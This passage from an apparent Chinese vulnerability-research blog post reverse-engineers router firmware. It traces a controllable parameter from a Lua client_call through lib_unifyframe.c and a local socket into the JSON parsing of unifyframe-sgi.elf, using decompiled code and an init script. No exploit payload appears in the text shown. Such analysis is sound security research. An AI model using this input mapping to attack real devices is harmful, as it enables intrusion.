if ( v35 )
json_object_object_add(v19, "async", v35);
}
v36 = *(_BYTE **)(a1 + 12);
if ( !v36 || !*v36 )
goto LABEL_75;
v37 = json_object_new_string(v36);
if ( !v37 )
goto LABEL_78;
json_object_object_add(v19, "data", v37);
LABEL_75:
v38 = *(_BYTE **)(a1 + 16);
if ( v38 && *v38 )
{
v39 = json_object_new_string(v38);
if ( !v39 )
{
LABEL_78:
json_object_put(v19);
json_object_put(v4);
syslog(3, "(%s %s %d)new obj_data failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v19, "device", v39);
}
json_object_object_add(v4, "params", v19);
v40 = json_object_to_json_string(v4);
if ( !v40 )
{
json_object_put(v4);
syslog(3, "(%s %s %d)new json_object_to_json_string send buf failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
v41 = uf_socket_client_init(0);
if ( v41 <= 0 )
{
json_object_put(v4);
v42 = *(const char **)(a1 + 12);
v43 = *(const char **)(a1 + 4);
v44 = *(const char **)(a1 + 8);
v45 = *(_DWORD *)(a1 + 16);
if ( v42 )
{
if ( v45 )
{
syslog(
3,
"(%s %s %d)uf_socket_client_init failed, caller: %s [ctype:%d %s -m %s %s]",
"lib_unifyframe.c",
"uf_client_call",
651,
*(const char **)(a1 + 16),
*(_DWORD *)a1,
v43,
v44,
v42);
return -1;
}
syslog(
3,
"(%s %s %d)uf_socket_client_init failed, [ctype:%d %s -m %s %s]",
"lib_unifyframe.c",
"uf_client_call");
}
else
{
if ( !v45 )
{
syslog(
3,
"(%s %s %d)uf_socket_client_init failed, [ctype:%d %s -m %s]",
"lib_unifyframe.c",
"uf_client_call",
662,
*(_DWORD *)a1,
v43,
v44);
return -1;
}
syslog(
3,
"(%s %s %d)uf_socket_client_init failed, caller: %s [ctype:%d %s -m %s]",
"lib_unifyframe.c",
"uf_client_call");
}
return -1;
}
v46 = strlen(v40);
uf_socket_msg_write(v41, v40, v46);
json_object_put(v4);
if ( *(_BYTE *)(a1 + 40) && *(_BYTE *)(a1 + 41) )
{
uf_socket_close(v41);
return 0;
}
v56 = 1 << (v41 & 0x1F);
v47 = &v53[4 * ((unsigned int)v41 >> 5)];
v48 = 0;
break;
default:
goto LABEL_24;
}
while ( 1 )
{
v50 = 4 * v48;
if ( v48 < 0x20 )
goto LABEL_98;
*(_DWORD *)v47 |= v56;
v51 = select(v41 + 1, v53, 0, 0);
if ( !v51 )
{
uf_socket_close(v41);
syslog(3, "(%s %s %d)select timeout[%s]", "lib_unifyframe.c", "uf_client_call");
return -1;
}
if ( v51 >= 0 )
break;
v49 = (_DWORD *)_errno_location();
if ( (*v49 & 0xFFFFFFF7) != 4 )
{
uf_socket_close(v41);
strerror(*v49);
syslog(3, "(%s %s %d)select error %s", "lib_unifyframe.c", "uf_client_call");
return -1;
}
syslog(3, "(%s %s %d)socket EINTR or ENOMEM [%d]", "lib_unifyframe.c", "uf_client_call", 691, *v49);
v48 = 0;
v50 = 0;
LABEL_98:
*(_DWORD *)&v53[v50] = 0;
++v48;
}
if ( ((*(int *)v47 >> (v41 & 0x1F)) & 1) != 0 )
{
v52 = uf_socket_msg_read(v41, a2);
uf_socket_close(v41);
if ( v52 >= 1 )
return 0;
return v52;
}
else
{
syslog(3, "(%s %s %d)FD_ISSET failed[%s]", "lib_unifyframe.c", "uf_client_call", 710, *(const char **)(a1 + 8));
uf_socket_close(v41);
return -1;
}
}

虽然这里有400行,但是或许有个思路便是从可控字段出发分析

1
local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)

首先先大致分析一下每个参数是什么,ctype=2,cmd=’set’,module=”networkId_merge”,param=可控字段,只到back后面都是null

1
2
3
4
5
6
7
8
9
10
case 2:
v8 = strlen(v4) + 8;
v9 = calloc(v8, 1);
v10 = 433;
if ( !v9 )
goto LABEL_20;
v11 = v9;
v12 = v8;
v13 = "devSta.%s";
goto LABEL_22;

因此v13=”devSta.set”,之后goto LABEL_22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
LABEL_22:
if ( snprintf(calloc_ptr, len2, method, v7) < 0 )
{
free(calloc_ptr_1);
LABEL_24:
json_object_put(method_1);
syslog(3, "(%s %s %d)method snprintf failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
devSta_string = json_object_new_string(calloc_ptr_1);
free(calloc_ptr_1);
if ( !devSta_string )
{
json_object_put(method_1);
syslog(3, "(%s %s %d)new obj_method failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(method_1, "method", devSta_string);

method字段赋为’devSta.set’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v20 = json_object_new_object();
if ( !v20 )
{
json_object_put(method_1);
syslog(3, "(%s %s %d)new obj_param failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
v21 = json_object_new_string(*(_DWORD *)(a1 + 8));
if ( !v21 )
{
json_object_put(v20);
json_object_put(method_1);
syslog(3, "(%s %s %d)new obj_module failed", "lib_unifyframe.c", "uf_client_call");
return -1;
}
json_object_object_add(v20, "module", v21);

会发现这个将a1当作地址,然后通过这个来赋值,问题就出现了,上网查了一下加上自己的猜测写下以下的理解

在lua文件中调用一个C库的函数,首先lua它的每一个协程都有自己的栈,称其为软栈,之后举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <lua.h>
#include <lauxlib.h>
#include <lualib.h>

// 共享库中的函数实现
static int my_function(lua_State *L) {
// 获取参数
int arg1 = luaL_checkinteger(L, 1);
const char *arg2 = luaL_checkstring(L, 2);

// 打印参数
printf("arg1: %d, arg2: %s\n", arg1, arg2);

// 返回结果
lua_pushstring(L, "result from C function");
return 1; // 返回一个结果
}

// 注册函数
static const struct luaL_Reg mylib[] = {
{"my_function", my_function},
{NULL, NULL}
};

// 打开库
int luaopen_mylib(lua_State *L) {
luaL_newlib(L, mylib);
return 1;
}

会发现它传入的参数是一个指针,同时只有一个指针,然后之后会进行注册函数,两个NULL是哨兵,而参数的调用是用了luaL_checkinteger和luaL_checkstring函数,L是一个指向含有所有参数的内容的指针,猜测L是指向软栈,即lua栈上的内容,或者是C会将软栈上的内容copy到C的某块内存里并写下一个指针指向它,只能说形式不一定是正确的,但是效果是一定的

之后的分析就不会特别难,主要是看清if条件满不满足,大部分都是可以不用分析的

之后便分析出会发送形如{"method":"devSta.set", "params":{"module":"networkId_merge", "async":true, "data":"xxx"}}

补充一下基础的只是 what is socket?

Socket(套接字)是网络编程中用于描述计算机之间通信的端点。它提供了一种机制,使得应用程序可以通过网络传输数据。Socket 是操作系统提供的一种编程接口,用于网络通信。它可以在同一台计算机上的不同进程之间通信,也可以在不同计算机之间通信。

Socket 的类型

  1. 流式套接字(Stream Socket,SOCK_STREAM)
    • 使用 TCP(传输控制协议)进行通信。
    • 提供可靠的、面向连接的字节流服务。
    • 适用于需要保证数据传输顺序和完整性的应用,例如 HTTP、FTP 等。
  2. 数据报套接字(Datagram Socket,SOCK_DGRAM)
    • 使用 UDP(用户数据报协议)进行通信。
    • 提供不可靠的、无连接的消息传递服务。
    • 适用于对实时性要求较高、但对数据传输可靠性要求较低的应用,例如 DNS 查询、视频流等。

分析

1
uf_socket_msg_write(v41, v40, v46);

这里有一个uf_socket_msg_write,而winmt师傅猜测因为这里有write,v41是socket的标识符,v40又指向的是我们可控字段的指针,因此这里一定在进程有一个uf_socket_msg_read与它互相接收信息

image-20240527202423205

再通过/etc/init.d/中也有一个unifyframe-sgi.elf的初始化文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/bin/sh /etc/rc.common

START=19
STOP=99 #优先级

PROG=/usr/sbin/unifyframe-sgi.elf
PROG_1=/usr/sbin/uf_ubus_call.elf

if [ -f "$IPKG_INSTROOT/lib/functions/procd.sh" ]; then
USE_PROCD=1
start_service() {
rm -rf /tmp/uniframe_sgi/lib_uf_server.sock*
rm -rf /tmp/uniframe_sgi/lib_uf_client.sock*
echo "Starting $PROG ..."
procd_open_instance
procd_set_param command $PROG
procd_set_param respawn
procd_close_instance
echo "Starting $PROG_1 ..."
procd_open_instance
procd_set_param command $PROG_1
procd_set_param respawn
procd_close_instance
}

reload_service() {
restart "$@"
}
else
SERVICE_DAEMONIZE=1
start() {
rm -rf /tmp/uniframe_sgi/lib_uf_server.sock*
rm -rf /tmp/uniframe_sgi/lib_uf_client.sock*
echo "Starting $PROG ..."
service_start $PROG
echo "Starting $PROG_1 ..."
service_start $PROG_1
}

stop() {
echo "Stop $PROG ..."
service_stop $PROG
echo "Stop $PROG_1 ..."
service_stop $PROG_1
}
fi

因此就此可以确认unifyframe-sgi.elf文件就是与本文件的write进行交流的文件,因此着重分析一下unifyframe-sgi.elf文件

从main函数分析起

unifyframe-sgi.elf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v5; // $v0
int v6; // $s1
int v7; // $v0
int v8; // $a2
const char *v9; // $a0
int *v10; // $s0
int v11; // $s0
int v13; // $v0
int v14; // $v0
int v15; // $s2
int v16; // $v0
BOOL v17; // $v0
int v18; // $v1
int *v19; // $v0
int *v20; // $s0
int v21; // $s4
int v22; // $v0
int v23; // $v0
int v24; // $s1
int client; // $s0
int v26; // $v0
int *v27; // $s0
int v28; // $v0
_DWORD *sock; // $s1
int v30; // $a0
_DWORD *addr; // $s0
_DWORD *v32; // $v0
int v33; // $a0
const char *method; // $s6
int v35; // $v0
int v36; // $v1
int v37; // $a0
_DWORD *v38; // $v0
_DWORD *v39; // $v0
_DWORD *v40; // $s1
int v41; // $s6
_DWORD *v42; // $a0
int v43[28]; // [sp+30h] [-C0h] BYREF
__int16 v44[2]; // [sp+A0h] [-50h] BYREF
int v45; // [sp+A4h] [-4Ch]
int v46; // [sp+A8h] [-48h]
char v47[4]; // [sp+C4h] [-2Ch] BYREF
char v48[8]; // [sp+C8h] [-28h] BYREF
int *v49; // [sp+D0h] [-20h]
int i; // [sp+D4h] [-1Ch]
_DWORD *aa; // [sp+D8h] [-18h]
int v52; // [sp+DCh] [-14h]
__int16 *v53; // [sp+E0h] [-10h]
unsigned int v54; // [sp+E4h] [-Ch]
int *v55; // [sp+E8h] [-8h]

mkdir("/tmp/uniframe_sgi", 511, envp); // 创建文件夹
v49 = v43;
memset(v43, 0, 64);
strcpy(v43, "/tmp/sgi");
strcat(v43, ".sgi_ufm");
v5 = open(v43, 770, 438);
dword_435660 = v5;
if ( v5 < 0 )
{
v6 = *(_DWORD *)_errno_location();
v7 = strerror(v6);
v8 = v6;
v9 = "Failed to open file %s, errno=%d, %s.";
LABEL_8:
printf(v9, ".sgi_ufm", v8, v7);
return 0;
}
v44[0] = 1;
v45 = 0;
v44[1] = 0;
v46 = 0;
v53 = v44;
if ( fcntl(v5, 6, v44) < 0 )
{
v10 = (int *)_errno_location();
if ( *v10 == 13 || *v10 == 11 )
close(dword_435660);
v11 = *v10;
v7 = strerror(v11);
v8 = v11;
v9 = "Failed to lock file %s, errno=%d, %s.";
goto LABEL_8;
}
reserve_record();
reserve_core();
while ( 1 )
{
v13 = getopt(argc, argv, &dword_41FF6C);
if ( v13 == -1 )
break;
if ( v13 == 100 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)open debug mode!", "sgi.c", "main", 1566);
g_debug = 1;
}
else if ( v13 == 104 )
{
puts("unifyframe-sgi.elf:");
puts("-h : show help message ");
puts("-d: open debug mode");
goto LABEL_98;
}
}
sem_init(&unk_435E3C, 0, 0);
openlog("unifyframe-sgi", 3, 8);
if ( !ufm_init() )
{
if ( uf_ubus_init() )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)uf_ubus_init failed!", "sgi.c", "main");
return -1;
}
v43[1] = (int)handle_pipe;
sigemptyset(&v43[2]);
v43[0] = 0;
sigaction(13, v43, 0);
if ( sgi_mgr_init(&g_sgi_client_mgr) >= 0 )
{
v14 = uf_socket_server_init(20);
v15 = v14;
if ( v14 > 0 )
{
if ( uf_cmd_task_init() )
goto LABEL_98;
if ( uf_create_detached_thread(v48, sub_405418, 0) )
{
v16 = 1608;
LABEL_27:
uf_log_printf(uf_log, "ERROR (%s %s %d)create thread failed!", "sgi.c", "main", v16);
goto LABEL_98;
}
if ( uf_create_detached_thread(v47, sub_40715C, 0) )
{
v16 = 1613;
goto LABEL_27;
}
if ( g_debug >= 2 )
uf_log_printf(uf_log, "(%s %s %d)init ok", "sgi.c", "main", 1617);
signal(18, handler);
uf_redirect();
v52 = 1 << v15;
v54 = 4 * ((unsigned int)v15 >> 5);
v55 = &g_fd_set[v54 / 4];
v17 = v15 < 0;
LABEL_31:
v18 = 0;
if ( !v17 )
v18 = v15;
i = v18;
do
{
v19 = g_fd_set;
do
*v19++ = 0;
while ( v19 != (int *)&g_test_mutex );
*v55 |= v52;
fbss = i;
pthread_mutex_lock(&unk_436370);
v20 = (int *)(dword_436364 - 12);
v21 = *(_DWORD *)dword_436364 - 12;
while ( v20 + 3 != &dword_436364 )
{
pthread_mutex_lock(v20 + 5);
if ( *v20 != -1 )
{
g_fd_set[(unsigned int)*v20 >> 5] |= 1 << *v20;
v22 = *v20;
if ( fbss >= *v20 )
v22 = fbss;
fbss = v22;
}
pthread_mutex_unlock(v20 + 5);
v20 = (int *)v21;
v21 = *(_DWORD *)(v21 + 12) - 12;
}
pthread_mutex_unlock(&unk_436370);
}
while ( select(fbss + 1, g_fd_set, 0, 0) <= 0 );
if ( (v52 & g_fd_set[v54 / 4]) == 0 )
goto LABEL_58;
if ( g_sgi_client_mgr >= 100 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)connect is full %d\n", "sgi.c", "main", 1646, v15);
sleep(1);
goto LABEL_94;
}
v23 = accept(v15, v43, v44);
v24 = v23;
if ( v23 < 0 )
{
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)accept a client filed![%d]", "sgi.c", "sgi_accept_client", 1391, v23);
goto LABEL_58;
}
client = sgi_mgr_get_client(v23);
if ( client )
{
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)get a client from list %d", "sgi.c", "sgi_accept_client", 1397, v24);
*(_DWORD *)(client + 48) = 20;
goto LABEL_58;
}
v26 = calloc(1, 52);
v27 = (int *)v26;
if ( v26 )
{
v28 = v26 + 4;
v27[2] = v28;
v27[1] = v28;
if ( !pthread_mutex_init(v27 + 5, 0) )
{
v27[11] = 0;
*v27 = v24;
v27[12] = 20;
((void (__fastcall *)(int *))sgi_mgr_add_client)(v27);
LABEL_58:
pthread_mutex_lock(&unk_436370);
sock = (_DWORD *)(dword_436364 - 12);
for ( i = *(_DWORD *)dword_436364 - 12; ; i = *(_DWORD *)(v30 + 12) - 12 )
{
if ( sock + 3 == &dword_436364 )
{
pthread_mutex_unlock(&unk_436370);
LABEL_94:
v17 = v15 < 0;
goto LABEL_31;
}
if ( *sock == -1 )
goto LABEL_91;
v30 = i;
if ( ((g_fd_set[*sock >> 5] >> *sock) & 1) == 0 )
goto LABEL_92;
if ( g_pkg_cnt < 101 )
break;
uf_log_printf(uf_log, "ERROR (%s %s %d)packet full!", "sgi.c", "client_recv_pkg");
LABEL_91:
v30 = i;
LABEL_92:
sock = (_DWORD *)v30;
}
addr = malloc_pkg();
if ( !addr )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)memory full!", "sgi.c", "client_recv_pkg");
goto LABEL_91;
}
pthread_mutex_lock(sock + 5); // 上锁
*addr = sock;
aa = (_DWORD *)uf_socket_msg_read(*sock, addr + 1);// ######################target####################
pthread_mutex_unlock(sock + 5); // 解锁
if ( (int)aa <= 0 )
{
sub_404A34(sock + 3);
if ( g_sgi_client_mgr > 0 )
--g_sgi_client_mgr;
if ( sub_405238(sock) )
{
v32 = (_DWORD *)dword_436368;
dword_436368 = (int)(sock + 3);
sock[4] = v32;
sock[3] = &dword_436364;
*v32 = sock + 3;
++g_sgi_client_mgr;
}
v33 = addr[1];
if ( v33 )
free(v33);
LABEL_90:
free(addr);
goto LABEL_91;
}
method = (const char *)addr[1];
if ( method )
{
if ( strstr(addr[1], ".get") )
{
if ( g_debug < 3 )
goto LABEL_82;
v35 = strlen(method);
v36 = 735;
}
else
{
if ( g_debug < 2 )
goto LABEL_82;
v35 = strlen(method);
v36 = 733;
}
uf_log_printf(
uf_log,
"(%s %s %d)------[%x][%d][%d]package buf:%s",
"sgi.c",
"client_recv_pkg",
v36,
addr,
*(_DWORD *)*addr,
v35,
method);
}
else
{
uf_log_printf(
uf_log,
"ERROR (%s %s %d)------[%x][%d]package buf is NULL!",
"sgi.c",
"client_recv_pkg",
738,
addr,
*(_DWORD *)*addr);
}
LABEL_82:
if ( !parse_content((int)addr) )
{
pthread_mutex_lock(sock + 5);
v38 = (_DWORD *)sock[2];
sock[2] = addr + 24;
addr[24] = sock + 1;
addr[25] = v38;
*v38 = addr + 24;
sock[12] = 20;
sock[11] = 0;
pthread_mutex_unlock(sock + 5);
if ( !add_pkg_cmd2_task(addr) )
{
v30 = i;
goto LABEL_92;
}
}
uf_log_printf(uf_log, "ERROR (%s %s %d)recv package failed!", "sgi.c", "client_recv_pkg", 765);
v37 = addr[1];
if ( v37 )
free(v37);
v39 = (_DWORD *)addr[22];
v40 = v39 - 13;
v41 = *v39 - 52;
aa = addr + 22;
while ( v40 + 13 != aa )
{
sub_404A34(v40 + 13);
v42 = v40;
v40 = (_DWORD *)v41;
free_cmd(v42);
v41 = *(_DWORD *)(v41 + 52) - 52;
}
goto LABEL_90;
}
uf_log_printf(uf_log, "ERROR (%s %s %d)failed to init mutex!", "sgi.c", "sgi_client_malloc", 1171);
}
uf_log_printf(uf_log, "ERROR (%s %s %d)client malloc failed %d", "sgi.c", "sgi_accept_client", 1404, v24);
close(v24);
goto LABEL_58;
}
if ( v14 )
{
unlink("/tmp/uniframe_sgi/unifyframe_sgi.sock");
close(v15);
}
}
pthread_mutex_destroy(&unk_436370);
LABEL_98:
exit(0);
}
uf_log_printf(uf_log, "ERROR (%s %s %d)ufm_ini failed!", "sgi.c", "main");
return -1;
}

发现一样的长,一样的震撼

但是前面基本没啥用只看read之后的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
pthread_mutex_lock(sock + 5);       // 上锁
*addr = sock;
aa = (_DWORD *)uf_socket_msg_read(*sock, addr + 1);// ######################target####################
pthread_mutex_unlock(sock + 5); // 解锁
if ( (int)aa <= 0 )
{
.......
}
method = (const char *)addr[1];
if ( method )
{
if ( strstr(addr[1], ".get") )
{
if ( g_debug < 3 )
goto LABEL_82;
v35 = strlen(method);
v36 = 735;
}
else
{
if ( g_debug < 2 )
goto LABEL_82;
v35 = strlen(method);
v36 = 733;
}
uf_log_printf(
uf_log,
"(%s %s %d)------[%x][%d][%d]package buf:%s",
"sgi.c",
"client_recv_pkg",
v36,
addr,
*(_DWORD *)*addr,
v35,
method);
}
else
{
uf_log_printf(
uf_log,
"ERROR (%s %s %d)------[%x][%d]package buf is NULL!",
"sgi.c",
"client_recv_pkg",
738,
addr,
*(_DWORD *)*addr);
}
LABEL_82:
if ( !parse_content((int)addr) )
{
pthread_mutex_lock(sock + 5);
v38 = (_DWORD *)sock[2];
sock[2] = addr + 24;
addr[24] = sock + 1;
addr[25] = v38;
*v38 = addr + 24;
sock[12] = 20;
sock[11] = 0;
pthread_mutex_unlock(sock + 5);
if ( !add_pkg_cmd2_task(addr) )
{
v30 = i;
goto LABEL_92;
}
}

read接收数据将数据放到addr上,之后

主要就是调用这个if

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ( !parse_content((int)addr) )
{
pthread_mutex_lock(sock + 5);
v38 = (_DWORD *)sock[2];
sock[2] = addr + 24;
addr[24] = sock + 1;
addr[25] = v38;
*v38 = addr + 24;
sock[12] = 20;
sock[11] = 0;
pthread_mutex_unlock(sock + 5);
if ( !add_pkg_cmd2_task(addr) )
{
v30 = i;
goto LABEL_92;
}
}

第一个函数parse_content

parse_content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
int __fastcall parse_content(int a1)
{
int v2; // $v0
int v3; // $v0
int json; // $s0
const char *string; // $s4
int method_string; // $v0
int v8; // $a0
int v9; // $s2
int v10; // $s5
int idx; // $s6
int *v12; // $s3
int v13; // $v0
int *v14; // $s2
int addr; // $v0
int v16; // [sp+20h] [-10h] BYREF
int device; // [sp+24h] [-Ch] BYREF
int params; // [sp+28h] [-8h] BYREF
int method; // [sp+2Ch] [-4h] BYREF

v2 = 598;
if ( !*(_DWORD *)(a1 + 4) )
goto LABEL_4;
v3 = json_tokener_parse(); // 解析json数据
json = v3;
if ( !v3 )
{
v2 = 605;
LABEL_4:
uf_log_printf(uf_log, "ERROR (%s %s %d)para invalid!", "sgi.c", "parse_content", v2);
return -1;
}
if ( json_object_object_get_ex(v3, "params", &params) != 1 )// 提取param数据
goto LABEL_31;
if ( json_object_object_get_ex(params, "device", &device) == 1 && json_object_get_type(device) == 6 )
{
string = (const char *)json_object_get_string(device);
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)caller:%s", "sgi.c", "parse_content", 621, string);
}
else
{
string = 0;
}
if ( json_object_object_get_ex(json, "method", &method) != 1 )
{
LABEL_31:
json_object_put(json);
return -1;
}
method_string = json_object_get_string(method);
if ( !method_string )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)Get method failed!", "sgi.c", "parse_content");
goto LABEL_31;
}
if ( strstr(method_string, "cmdArr") ) // 如果method包含cmdArr,显然不包含
{
v8 = params;
*(_BYTE *)(a1 + 56) = 1;
if ( json_object_object_get_ex(v8, "params", &v16) != 1 )
goto LABEL_31;
v9 = 0;
v10 = json_object_array_length(v16);
*(_DWORD *)(a1 + 52) = v10;
while ( v9 < v10 )
{
idx = json_object_array_get_idx(v16, v9);
if ( idx )
{
v12 = (int *)malloc_cmd();
if ( !v12 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)cmd paras failed!", "sgi.c", "parse_content", 654);
break;
}
v13 = parse_obj2_cmd(idx, string);
*v12 = v13;
if ( !v13 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)cmd paras failed!", "sgi.c", "parse_content", 659);
json_object_put(json);
free_cmd(v12);
return -1;
}
pkg_add_cmd(a1, v12);
v12[2] = v9;
}
++v9;
}
}
else
{
*(_DWORD *)(a1 + 52) = 1;
v14 = (int *)malloc_cmd();
if ( !v14 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)memory full!", "sgi.c", "parse_content");
goto LABEL_31;
}
addr = parse_obj2_cmd(json, string);
*v14 = addr;
if ( !addr )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)cmd paras failed!", "sgi.c", "parse_content", 679);
free_cmd(v14);
goto LABEL_31;
}
pkg_add_cmd(a1, v14);
v14[2] = 0;
}
json_object_put(json);
return 0;
}

算是初步解析json数据,然后调用parse_obj2_cmd函数

parse_obj2_cmd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
int __fastcall parse_obj2_cmd(int json, int string_0)
{
int ptr; // $v0
int ptr_2; // $s0
int method_1; // $v0
int method_2; // $s2
const char *v8; // $v0
int v9; // $v0
int v10; // $v0
int v11; // $v0
int v12; // $v0
int method_string_1; // $v0
const char *v14; // $v0
int method_string; // $v0
int v16; // $s2
int v17; // $v0
int v18; // $v0
int v19; // $v0
int string; // $v0
int v21; // $v0
int v22; // $v0
int v23; // $v0
bool v24; // dc
_BYTE *v25; // $v0
_BYTE *v26; // $s2
_BYTE *v27; // $v0
_BYTE *v28; // $s2
_BYTE *v29; // $v0
_BYTE *v30; // $s2
_BYTE *v31; // $v0
_BYTE *v32; // $s2
_BYTE *v33; // $v0
_BYTE *v34; // $s2
_BYTE *v35; // $v0
_BYTE *v36; // $s2
_BYTE *v37; // $v0
_BYTE *v38; // $s2
_BYTE *v39; // $v0
_BYTE *v40; // $s2
int v41; // $s1
int v42; // $v0
int v43; // $v0
int params_module; // [sp+20h] [-Ch] BYREF
int params; // [sp+24h] [-8h] BYREF

ptr = malloc(52);
ptr_2 = ptr;
if ( !ptr )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)memory is full!", "sgi.c", "parse_obj2_cmd", 276);
return 0;
}
memset(ptr, 0, 52);
if ( string_0 )
*(_DWORD *)(ptr_2 + 16) = strdup(string_0);
if ( json_object_object_get_ex(json, "module", &params_module) != 1
|| (method_1 = json_object_get_string(params_module), (method_2 = method_1) == 0)
|| strcmp(method_1, "esw") ) // 显然进入
{
if ( json_object_object_get_ex(json, "method", &params_module) != 1 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)obj_method is null", "sgi.c", "parse_obj2_cmd");
goto LABEL_129;
}
method_string = json_object_get_string(params_module);
v16 = method_string;
if ( !method_string )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)s_method is null", "sgi.c", "parse_obj2_cmd");
goto LABEL_129;
}
if ( strstr(method_string, "devSta") )
{
v17 = 2; // 成立
}
else
{
if ( strstr(v16, "acConfig") )
{
*(_DWORD *)ptr_2 = 0;
goto LABEL_46;
}
if ( strstr(v16, "devConfig") )
{
*(_DWORD *)ptr_2 = 1;
goto LABEL_46;
}
if ( strstr(v16, "devCap") )
{
v17 = 3;
}
else
{
if ( !strstr(v16, "ufSys") )
{
uf_log_printf(uf_log, (const char *)dword_41FA70, "sgi.c", "parse_obj2_cmd");
LABEL_46:
v18 = strchr(v16, 46);
v19 = strdup(v18 + 1);
*(_DWORD *)(ptr_2 + 4) = v19;
if ( !v19 )
goto LABEL_128;
if ( json_object_object_get_ex(json, "params", &params) == 1 )
{
if ( json_object_object_get_ex(params, "module", &params_module) == 1 )
{
string = json_object_get_string(params_module);
if ( string )
{
v21 = strdup(string);
*(_DWORD *)(ptr_2 + 8) = v21;
if ( v21 )
{
if ( json_object_object_get_ex(params, "remoteIp", &params_module) != 1
|| (unsigned int)(json_object_get_type(params_module) - 5) >= 2 )
{
*(_DWORD *)(ptr_2 + 20) = 0;
goto LABEL_59;
}
v22 = json_object_get_string(params_module);
if ( !v22 )
goto LABEL_59;
v23 = strdup(v22);
*(_DWORD *)(ptr_2 + 20) = v23;
if ( v23 )
goto LABEL_59;
}
goto LABEL_128;
}
